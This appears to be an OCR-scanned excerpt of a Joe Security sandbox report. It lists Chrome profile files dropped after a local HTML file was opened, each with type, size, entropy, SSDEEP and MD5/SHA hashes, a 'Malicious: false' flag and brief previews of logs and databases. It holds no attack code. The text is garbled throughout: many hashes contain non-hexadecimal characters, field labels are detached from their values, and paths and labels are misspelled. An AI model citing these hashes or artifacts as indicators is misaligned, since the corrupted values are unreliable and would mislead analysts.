SHA1: DD2E45756C3F79351F1F2F49F746DF8A4ABF2D2D
SHA-256: 36AC8450665F0D40D987A32394F76485DA4B52198BA0C1D6CF8F3C1F8330B52A
SHA-512: 6496E3B1E67948035F4ED8669599BBEFACF0958C0463A952BB7A120D0AA62553122A9C263D1DD64D0OEOF20B78D85CCA35F34A3CA60D1194638ADCDF54785655
Malicious: false
Preview:
....... Diveeesveeeeeeeseensessiesesnenneen Loy, $...2f040921_d81d_4722_9a0e_424364dabc02
&..{C578CEAF-A17C-4AAB-9284-A5059F1242C7}............. (001 IOP /.. file:/l/C:/Users/user/Desktop/5781525.html..
0......1. f.l.file:lll.C../lUs.ers./fro.ntde.sk/D.eskto.p./57.8.1.525. html
e 0B e /...file:/lIC:/Users/user/Desktop/5781525.html..... .... /...
.................................................................... N...http://esd.rwbdg.c
C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Current Tabs
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 8
Entropy (8bit):  1.8112781244591325
Encrypted: false
SSDEEP: 3:3Dtn:3h
MD5: 0686D6159557E1162D04C44240103333
SHA1L: 053E9DB58E20A67D1E158E407094359BF61D0639
SHA-256: 3303D5EED881951BOBB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB
SHA-512: 884C0D3594390E2FCOAEABO5460F0783815170C4B57DB749B8ADI9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DES8E794550599AAA261120976C
Malicious: false
Preview:
SNSS....
C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data
Category: dropped
Size (bytes): 183
Entropy (8bit):  4.267376444120917
Encrypted: false
SSDEEP: 3:FQxIXayz/t2HmwgOEOZL7A04uhFKEURLKYC5EiI5+GgGg:qT5z/t2qoEwhXeLKBt
MD5: 7FAOF874EABF1EED31988230680AD210
SHA1: E71B360F1E8D5C278A051AD03DFB9027ACCF38C3
SHA-256: 09E15F8939364145E710C314EBD93FD19BF60C2B6B20BF8023315D617B6B141B
SHA-512: AF4AC2E595AA0B1FD96474A0E73530B38BESF2906B10BE1IDEFC0A9221129A3E5BB8D0816777550863AD426C5C836ECA1FOC384986C2A1108E2E4CA20EF10A782
Malicious: false
Preview:

....Sgdaefkejpgkiemlaofpalmlakkmbijdnl.declarative_rules.declarativeContent.onPageChanged.[]..F..
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

328

5.196081108401115

false
6:mXr4q2PcNwi23iKKdK8aPrqlFUtp8dFKDRNJIZmwP8dFKDRNDkwOCNwi23iKKdK8h:sr4vLZ5KKL3FUtp8HKDRNJ/P8HKDRNDhA
5A287E6F22500C7C340524BDAC92A476

DFDCF536FC65A62A9A3DAAFF7CCDE0521A26BFAS
09F58A95655560E5A486E873235D7E945E432D164DA54066D77E13D0B33B996F
9BFD8275299E543FFEE14E033BFA03C3E40FF7692EFB668384D175EBOE3E8131A683821EA888424B0210BE2A27B383B6198D2E59C599F45DE3DB554295F589C8

false

2021/05/12-21:33:45.031 164 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/05/12-2
1:33:45.032 16f4 Recovering log #3.2021/05/12-21:33:45.032 164 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/0000
03.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

627

1.8784775129881184

false

12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
9D7435EA49A80FDD66E4915F513017F9
469F6C6E4B19B85CC1BE497812B2F20864F4FF2C
409D4C47E940688527D730B996E8991E010988C7671565467EDE9ID640D0947F3

0561CD632D4219AEF4686DE40EC092921384CA89755D354801E0EAEC8645A8630A180807AF518AC8FCFO1F71EB3D10FAA9CELIEG2C7A7226A274975BDCB7EEB¢
C

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

328

5.209287880024597

false
6:mXywMM+g2PcNwi23iKKdK8NIFUtp8yCmZmwP8yuMMVkwOcNwi23iKKdK8+eLJ:sb+vLZ5KkpFUtp8Lm/P8dV54Z5KkqJ
92DB488D7A5A679383307607768C94D9

36803A528EEFBB1B8F7DEE1B8EA81651555D073B
E3E70DAC2D18EA3F16A44B9146529C347442E6694F759657D601AB835F0A5E2D

E79B49E65135BF2D299356BE7E18B9B3BC11341518FBC76BC0OB739A1EF6ECE7BACS5AB3BFC77A6ESB1377A9BCOAEB25D5C00E69F20A0C55A644F21638D736D0
AA

false

2021/05/12-21:33:47.251 181c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/05/12-2
1:33:47.252 181c Recovering log #3.2021/05/12-21:33:47.253 181c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension
State/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput
ed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

11217

6.069602775336632

false

192:GbylInITwGB7V9Hne4qgasKxXItmLG48gcLg/Pkl:Gb+nldByaFx4toj8VEPT
90F880064A42B29CCFF51FE5425BF1A3
6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5BOABCA4EF268
DICBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0ES9A5397364F67A484B45091BA94E6CE69ED18AB681403DFD3F

Copyright Joe Security LLC 2021 Page 26 of 54



C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\comput
ed_hashes.json

Malicious:

Preview:

false

{"file_hashes":[{"block_hashes":["A+1PYW3V6CJIbBuQ7aqrgYhyH3bT8PKyBXp3hN2sIpl0=","WSOpQRKYTHjPSIG9Zif2a7TNhy43NDcG1Zg5NvOUbHO=","iDctR8IMG5KZ
rQKm4kDjuB7FokSJfio/pmvFowRVIaY=","LPxhhJiuUOlprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96 AKKXALRM+COEU11XUjPiMXEK]jiCPdtHE=","wifibc1QfMB
N2jrtutLgsCefvuceTpAatmLvul11RIA=","dHjWISIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLNOCFL/ADaEeTI=","DpjXcO85FF
FY9KJIFPKGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECROfI9IMipXgXh2jEN2+CxmPEO=","prDB91X2Mmfg/M/txVMITWBmMEGbOGjgBTP7CM]YqdHs=",
"yLPAQV4gqoyS/zFKEt3Cn2j0g2v9QOSthVFWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO11Jdn/UtbnAmg6TO=","+00c6ca+ChKUpTu+0a2ZRXxRE+wG3QJmuYWE
VYCs40NI=","3mBGNAIRITANEQkqzU3TEi+5wJOubR5uwtS4/900M7w=","LA9NNawxuhu95H5eThvf1lrewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5
nOITpw5JIBHV1Kph3/KM=","i318ghdTFIc1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSILPhrtuOhGYrHn3lIsMHgBbi70gkljEE=","rhIzuEvwv2KRAF
Mms896xFWkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRbOVZrY34aVXF3Fftxs

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmiedal\1.0.0.6_1\_metadata\comput
ed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

11217

6.069602775336632

false

192:GbylInITwGB7V9HNne4gasKxXItmLG48gcLg/Pkl:Gb+nldByaFx4toj8VEPT
90F880064A42B29CCFF51FE5425BF1A3
6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5BOABCA4EF268
DICBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0ES9A5397364F67A484B45091BA94E6CE69ED18AB681403DFD3F

false

{"file_hashes":[{"block_hashes":["A+1PYW3V6CJIbBuQ7aqrgYhyH3bT8PKyBXp3hN2sIpl0=","WSOpQRKYTHjPSIG9Zif2a7TNhy43NDcG1Zg5NvOUbHO=","iDctR8IMG5KZ
rQKm4kDjuB7FokSJfio/pmvFowRVIaY=","LPxhhJiuUOlprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96 AKKXALRM+COEU11XUjPiMXEK]jiCPdtHE=","wifibc1QfMB
N2jrtutLgsCefvuceTpAatmLvul11RIA=","dHjWISIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLNOCFL/ADaEeTI=","DpjXcO85FF
FY9KJIFPKGNfFUtdQIOsGwO5jUckiUwY14=","gqid6|1+mk/6yWgUECROofI9IMipXgXh2jEN2+CxmPEO=","prDB91X2Mmfg/M/txVMITWBmMEGbOGjgBTP7CM]YqdHs=",
"yLPAQV4gqoyS/zFKEt3Cn2j0g2v9QOSthVFWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO11Jdn/UtbnAmg6TO=","+00c6ca+ChKUpTu+0a2ZRXxRE+wG3QJmuYWE
VYCs40NI=","3mBGNAIRITANEQkqzU3TEi+5wJOubR5uwtS4/900M7w=","LA9NNawxuhu95H5eThvf1lrewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5
nOITpw5IBHV1Kph3/KM=","i318ghdTFIc1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSILPhrtuOhGYrHn3lIsMHgBbi70gkljEE=","rhIzuEvwv2KRAF
Mms896xFWkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRbOVZrY34aVXF3Fftxs

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadatalc
omputed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

23474

6.059847580419268

false
384:7dNc1NC6IcafusK4H1IGRINKIKIALQWdynQh2RX4K6M1tVztzr7XSNyzH:7dOscSRKc1nGRSKIhEw6M1tf7SNyb
6AE2135EA4583C2F06CDEBEA4AETOFAL

DCEB26C7F02D53B5F214305F4C75B4A33A79CDC2
03AA1944CB3C4F39E20B6361571BC45DFBEBD3FFDA3D8F148CC6ECB29958F903
B5945E67D9F73DD1982D687E5C6D9IB5D6B3886C8050363A259755C76ACOF93651F3425FA7C21AA6A13977AC1C8C9322F998F131648CB8909096058D4F0D23312

false

{"file_hashes":[{"block_hashes":['DOZdV3jFvk12AM2INDYK03KZrIVRprmJ+sVGWkqqE4Q=","rVEIW3Hu3T52SzDDUqGT5YiJTBGUVv2h3pNuBKFIhZ1U=","X/
3fg4KZxgQ1jBr5QGqOF5InflgE27UErd88mrxTexs=","VibLbpy0ig+5INMOU71fTYN76iaka2XVpmm1gAKYsX8=","EChCwChQHbHQ70DdGT2qNyiRJ0yck2YC2emNGq
4whtE="],"block_size":4096,"path":"_locales/iw/messages.json"},{"block_hashes":["xklkoZ7iSU1+7cd6 DAtEmUCS5IPFd+EgcbnzxkOiFwlk=","3KbsvoxKY/3AwqgF2aAdVQ
RpMhsNVRkQ3rx2A6Z2Z+Y=","09+tsohquaCMj+70zeinRG/hBhA2uLoDI/WoC1luokME=","xV/K8xucyWJELVT8Cqn+ugFjobBVmg8pnmACF+2PP4Y=","p/mvIm2wucCl
32Rx3it654MIjKAsMe3S9IDEabc1A8ME=","j{8BmPrTh500sBTj2Fer78JE6xG6+kR64Cvu2SWa8d3j/k=","ngSRpGQ3USU2bZIsZ+AzBmFOyann8omwJrhEWFZDTXc=","
eTcQyJUuNuF9yCga/fXGyFCj/pysSceanhBzksdx23s=","Wj7fagnspelXKMvnduxHn1XUBG8TEOqyns7/oUihekM=","VtBwXoadI3EP336rAiL33Gz19KGgtN+RYdKn
MKAXoLw=","iDgLXQqXJp8nCZxgLuC9LXM45DGfufvGnXvmHsn18wc=","g+RfdDfrfWTUKOPkcsbot7NJ4SCOwWVRV/dVVMuHALE|8=","20C4HcCuXu3VjFfwnKlzntu
gqQNaebcuWpm/mwj69U=","aMUIpuFgPMiieSaWhlktCK62v2P30ZQAWupWsYzCnvk=","L

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Favicons

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:

C:\Program Files\Google\Chrome\Application\chrome.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

32768

2.713778775842605

false
96:zBCShZrzTdCZI0qa/80MEgY3NWREg8nXt5Gmfo9hE4090rzTdCZI0qa7Spk8sySkq:VFfpOqvW8B4bGmix4wfp0q7pAy+
161E3AECB8FF6EF5B4D7DDEEB25A3A9B

B20CC7583970B18C2FE6BB0DECF75D5178AEBF8B
23D28F0249D7DF31AE5S84EE140F6BA92064BBB086F8E4B6A285C109EF34C8BFO
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons

SHA-512:

Malicious:

Preview:

24B9CBES9E2F823CE27BA43DEE7A3F0273A2BE47EO0F29631A66C2BA2F6081FA76C461FBF9371B39387FAB5B4E74797241D11E095BB580EO009FESASDCBB11285
D

false

SQLite fOrmat 3......@ .oveeieeieiieeie e Coveed (o R Lo TSP PR PPPON

....................................................................................................................................................................... s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

31888

1.153067991317292

false
48:XsdBmw6fUcl3sSTrYKR1HTdiPZIOHNC1a3SDUBINKhIY4:cdBCh6SHzTdCZI0ga3f87hm
8B3EF3CDC689000C8AFCFDC497AAA3EA
DB472B59BF6AB88B62847D1150B583435B71825A
0B03B60DCE015C1CA84CE72FAOADOC54A62F769148C7333F160E4113A3AFC569

FA97D6CBCCFF7D9B00CF156C58C3A0EFESEA15C304C5F09CADS0E215CF67955677E047A242369729A937C0AE701C7C92FOCOF3356C92B571BF334191ABBB5D
F

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

19

1.8784775129881184

false

3:FQxIX:qT

0407B455F23E3655661BA46A574CFCA4
855CB7CC8EAC30458B4207614D046CBO9EE3A591
AB5C71347D95F319781DF230012713C7819AC0D69373E8C9A7302CAE3F9A04B7
3020F7C87DC5201589FA43E03B1591EDSBEB64523B37EB3736557F3AB7D654980FB42284115A69D91DE44204CEFAB751B60466COEF677608467DE43D41BFB939

false

F5

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

380

5.232731494662398

false
6:mX9q2PcNwi23iKKdK25+Xgx8chl+IFUtp8+ZmwP807kwOcNwi23iKKdK25+Xgx8E:s9vLZ5KKkTXfchI3FUtp8+/P80754Z5KN
9A844CF633515312CF01AB8062746220

509FD63545B558E25AA9B3B2E44260D6AED2FICE
58245E55243465D7997146110CBO9ESAA59CI8C339D04B3F41CB732EF6CB389D
39D2356B98AF79A2BC6F705FD3F79B235923EFF6BAD019CBBE79FF88BB59249522B929B9DCB5B08168849F328393D8E1D7D4F022D65DFF26E6B4A2A7E25E90A!

false

2021/05/12-21:34:02.196 16c0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2021/05/12-21:34:02.198 16¢0 Recovering log #3.2021/05/12-21:34:02.200 16¢0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text

dropped

366
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG

Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

5.214238451382751

false
6:mXTKvg2PcNwi23iKKdK25+XuolFUtp87XZmwP8THKOkwOCNwi23iKKdK25+XuxWd:s+vvLZ5KKTXYFUtp8r/P8j154Z5KKTXp
8682FE5B550BD9234ADBBBEF0933E58B

ADC642424036FD5421B6B5BO9DBOE7FFE5S2B141CD
B1EFE2C306CBEE9AA2B23D66DFBD6894E1C971E25D4D0006A566F76AF6479C2D

5080F76CE1106112CCF3ECCB2223AF25A967F23F4E3C6C6E70CBC4254E876A36E24AAE9EA9BAE68BBCAESCD817413F7A29BFD5FAF86C2D890221A082832EB9
E

false

2021/05/12-21:34:01.709 16c0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-
000001.2021/05/12-21:34:01.833 16¢c0 Recovering log #3.2021/05/12-21:34:01.868 16c0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data
\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

338

5.212245314940421

false
6:mXzTI+q2PcNwi23iIKKAKWT5g11dqglFUtp8zLWZmwP8zdI3VkwOcNwi23iKKdKWTk:szTl+vLZ5Kkg5gSRFUtp8zLW/P8zfV5m
A3BBE4B90DCC84DF5DD67973718FA968

94E89D249C71BC74AD37724B2DC2793CA51B5928
OE3AD2EE5CFF0081979C10A5B2F22F4AF5A32F9650782BC91D0CBAD2BCA9I3FEE
631B1E59486F54722C4A4667D28E3F75275657A981566EC3C55D495F6AE72BDEAFC2EDEGE693B2D11BC1326D4DEA4F5444925358B5DE445B3C7BAA4211F772B2!

false

2021/05/12-21:34:00.416 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Defaul\GCM Store\Encryption/MANIFEST-000001.2021/05
/12-21:34:00.417 1a3c Recovering log #3.2021/05/12-21:34:00.418 1a3c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM S
tore\Encryption/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

296

0.44812403665442346

false

3:8EfICJIC/:8vIC/

0A4A5A33DAA120CA7DAEBA4F2DBID638
6C3381BA9E2D1A960F8F3B4A7TAT4AF2601E335C84
639E372A3BA1E4B42CE772DFC4981E7EDACT78EE4C64628D142E077FA23A140C5

3EOAF4CF7B471533CDBAOCAT71B77C945D0AB2D9D03D601DD273717C8BD3EYAF3EA3546CD1821EC02DC391AB9859A85B5A79AAE46789F669984AFA4E9C857B|
AE

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

61440

0.7659516030220167

false
48:Twl918Ahvdzj+/Ie8XA05Px5NJtHbOII918AhGeyeaied6Qia3J5ZtF71e8XAn:kcKApdzWFiAwRilcKAg6edb/r7FiAn
FDDDOC7B3EBE29172E35304E09A60747

20F3BB8EEC9256A6F2A3883D30E8D43675B6AD63
21F6EE40AC5CA80B0OD57FC4EB2E54EB12C7B2BDF6A893AC2278FCC0377FFA7D7
2587EA3073160BOCC264C1FF46D11585D4DEB30C88A459EBDEOA1IADEIOFF7C89FCED85CEE4766A8F8C72D02E18C89388F5B80579BADFC61075F295913E2B27

false

SQLite format 3...... @ e ettt ettt e e teehee e hee ettt ettt eteeaateeaste ettt ateeeaeeeeaeeaaeeeteeaeeebeeasteeeteeateeanreenrreareen
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

2256

6.125014008169486

false
48:VW5WWSHL6/LIhtROASW/Nnlea36/dmY3RFqYit3ls3n7w59NDadyl0BIAkxDt:VWSE6GjILkCea2dmY3HgD369Nm9yXAkBt
321B23A7673C62C30AEL13EAAA323C645

C2455A04F01C309EBD88C92F7D7F413D34C3C6B3
728D2B496182C9B721E379625BD2F40A8006B3EADFEAF2DC6529F2EA2553464B

A21D5FDFF48C8D3D7A51CA8B29244C786C6F97D2923C6FB48766849BBFAEB85DB1F3EOC4ED2EB3EBE1291B853242D95AA5DF8C79241E7550BEESB33D40CF9:
FE

false

................ admin..com..esd..gov..https..js..kristenbakercoach..mdwilson..redir..referrer..wa..wp..csrftoken.nmtyymdgOodazm2qzzje l1ngexmzmlytyzodelzgq3ogixz
wfkm2uxmwvkoweOmwjimdjknznizjalmme2zjmxndalzgy5ytgwmdnimthhztrjmg..ca..loading..writerly.6ahrOchm6ly93cml0zxjses5jys8jbwr3awxzb25azxnkindhimdvdg..http

ly.2.. #..0..... 1o 2 TR S 6........ T 8. 9 L= W b [ [« ISR €.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History-journal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

71328

0.3103858752265771

false
24:eqLBQQt3uLzVDWezI8qdeY3T7uzVDW9zhbwdehlI3Kn+NgjXTksvUTNRTf6:eqiQt3kle8XAFI918AhNzjXdvkF6
09E20A165ACEBACE28D0317D8990C950

77DB5299EF610B1AA8B3E9121CCDBD292EF5FADG
9A9F321F7E0114CDADD70C27C51F911EFC5D8DA2800064970801AB8342C1880F

25F88169062A0A99A018399514ABB639FB2963FF66730B67119C8B7525E6D16EDC76FA376E86B49AE87E7B5CAFFBICI6CE978BA1IECDDA487E27CC54423DAA1BY
7

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

3314

5.637647764488897

false
48:91SAXG18NihG4Ta7EMs8dbT1F+bQSefgGGmMNrSOU9IRdINIx:CSky8ca7EM/dbT1F+bQ5fgGG6rSOr
B4A66C6A7A8097CC142F32FC15141022

21D8F99D80CO5BECA4CB4EDIB2BAEBC456CB72ECF
ECB43B0OAAF35E0E7F488831601C3D81D0D39829FF4E2283E83EC6EA456E9480F

3E2F9A8AF85491B6F7F7DA908529D297C0B65FF76ECA2CEBC6E1435CC12374156F666CC686EEDA4D21545A29E96E7F397F765B0385CASD7FFEAB848A7TE37DET2/
4

false

AAWKItATUPNZw22bDon8dXjNJYWP8JinrkKHY'y... ....8BMETA:chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm. Y_chrome-extension://pkedc
jkdefgpdelpbcmbmeomcjbeemfm..mr.temp.HangoutSinkDiscoveryService;.{"cache":{"sinks":{},"g":{},"h":null},"manualHangouts":{}}.a_chrome-extension://pkedcjkdefgpde
Ipbcmbmeomcjbeemfm..mr.temp.ldGenerator.cast.RequestidGenerator..105431000.H_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.LogManager..
.["[2021-05-12 21:34:03.61][INFO][mr.Init] MR instance ID: d914a179-1cba-48b5-b99c-c038bellbdfl\n","[2021-05-12 21:34:03.61][INFO][mr.Init] Native Cast MRP is d
isabled.\n","[2021-05-12 21:34:03.61][INFO][mr.Init] N

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Local Storagel\leveldb\LOG

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text

dropped

340

5.222468180373774
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Local Storagel\leveldb\LOG

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

false
6:mX39+2PcNwi23iKKdK8a2jMGIFUtp8pJZmwP8FS99VkwOCcNwi23iKKdK8a2jMmd:sIvLZ5KK8EFUtp8D/P8I54Z5Kk8bJ]
8F4B396F3F471A16531FBDF7E9E7968E

1D7014B09033CFB2781940DAA5369939BF2FDEBF
7625A40C338943C6AA5D7D6EBD57CB71FD645CB8D3DD2CF21181E6C4C2F7424C

F7CB8B489CBD817BCA6C199C5D9079B34D122148A1CB3C2657B8202B7B15984AAE7B86FD82C90EE75C20D603FEA918E99ASCF0A2B767FF44A1A8CC5348DB6E
32

false

2021/05/12-21:33:44.737 1808 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2021/0
5/12-21:33:44.739 1808 Recovering log #3.2021/05/12-21:33:44.741 1808 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\
leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

24576

1.1279407273250228

false
48:Trw/qALihje9kqL42WOT/2q46bw/gALihje9kqL42WOT/W86p0:vOgAuhjspnWOKnkOgAuhjspnWOq86p0
913BD4A6DDES8A3D5AAA35481F3FAFBA

8DDC931781F9C56C28102BC046DC75132CIF5FF8
467B7561EAD3C24D2843813BB424645652D33EBC6137F03E1A69D00465491A80

12DE48FCAB4AFA8FFBCFIAE7A07B441CDBOB353E0A1E73D2997A43E3B942F53F9CBBDBDD4401B61782082920EAB44375D63DCC76DCSE33AA74D992D32C1F5
7A

false

SQLite format 3.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor-journal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

25672

1.0189937292760518

false

48:CAq7w/gALihje9kqL42WOT/jtoOvGgrw/gALihje9kqL42WOT/f8: CAUOgAUhjspnWOB60vGKkOgAuhjspnWOA
4960810C276435F537A32838C03F1F79

277ED6855831DCAB75AF356E8BC26D22A282FF26
